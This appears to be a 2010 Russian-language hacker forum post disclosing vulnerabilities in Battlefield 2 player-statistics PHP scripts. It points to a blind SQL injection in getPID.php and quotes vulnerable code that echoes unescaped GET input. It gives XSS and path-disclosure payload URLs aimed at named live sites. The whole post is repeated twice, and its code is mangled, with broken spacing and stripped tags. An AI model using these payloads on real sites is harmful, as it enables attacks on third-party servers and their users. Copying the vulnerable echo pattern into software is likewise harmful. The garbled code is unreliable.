[Feldmarschall]
12.08.2010, 23:04
BF2 Stat Clone
Скачать: http://upload.com.ua/get/901846173/
Blind SQL Injection:
\queries\getPID.php
PHP:
[COLOR="Green"]BF2 Stat 1.4.2
XSS
search.php
[PHP]
PHP:
[COLOR="#007700"]if($_GET['search_pid'] ) {
echo'Find Player: "'.$_GET['search_pid'] .'"';
$players=$stats->findPlayer($_GET['search_pid'],$_GET['searchAt']);
if($players) {
echo"";
foreach($playersas$r) echo"$r[nick]";
echo"";
echo"Not finding your nick? Try to get more spe cific.
The BF2 stat servers only return 100 matche s in a set.
Also, players with a score of 0 are exlcud ed.";
....
Вписываем, Найти Игрока
По ID: ">alert(010010010)
Result: [Пример одного сайта]
[QUOTE="None"]
http://bf2.vault.ua/stats/player.php?pid=">alert(010010010)
Brainpecker's BF2 Stats v2.12
Autor Website:
http://www.brainpecker.com/
Раскрытие Пути:
http://www.brainpecker.com/bf2_stats_query.php?input1=1111
XSS [Раскрытие пути тоже видны]:
В Поле "Nick or PID 1": alert('xss')
bf2_stats_tables.php
PHP:
functionadditionalSearchResults($search_result,$ni ck) {
if(count($search_result>0)) {
// format output
$j=0;
$max=count($search_result);
for($i=0;$i".$search_result[$i]["nick"]."";
$j++;
}
}
....
Result:
http://www.brainpecker.com/bf2_stats_query.php?input1=">alert('xss')
(c)feldmarschall
зы, сорри если что-то ступил(
Скачать: http://upload.com.ua/get/901846173/
Blind SQL Injection:
\queries\getPID.php
PHP:
[COLOR="Green"]BF2 Stat 1.4.2
XSS
search.php
[PHP]
PHP:
[COLOR="#007700"]if($_GET['search_pid'] ) {
echo'Find Player: "'.$_GET['search_pid'] .'"';
$players=$stats->findPlayer($_GET['search_pid'],$_GET['searchAt']);
if($players) {
echo"";
foreach($playersas$r) echo"$r[nick]";
echo"";
echo"Not finding your nick? Try to get more spe cific.
The BF2 stat servers only return 100 matche s in a set.
Also, players with a score of 0 are exlcud ed.";
....
Вписываем, Найти Игрока
По ID: ">alert(010010010)
Result: [Пример одного сайта]
[QUOTE="None"]
http://bf2.vault.ua/stats/player.php?pid=">alert(010010010)
Brainpecker's BF2 Stats v2.12
Autor Website:
http://www.brainpecker.com/
Раскрытие Пути:
http://www.brainpecker.com/bf2_stats_query.php?input1=1111
XSS [Раскрытие пути тоже видны]:
В Поле "Nick or PID 1": alert('xss')
bf2_stats_tables.php
PHP:
functionadditionalSearchResults($search_result,$ni ck) {
if(count($search_result>0)) {
// format output
$j=0;
$max=count($search_result);
for($i=0;$i".$search_result[$i]["nick"]."";
$j++;
}
}
....
Result:
http://www.brainpecker.com/bf2_stats_query.php?input1=">alert('xss')
(c)feldmarschall
зы, сорри если что-то ступил(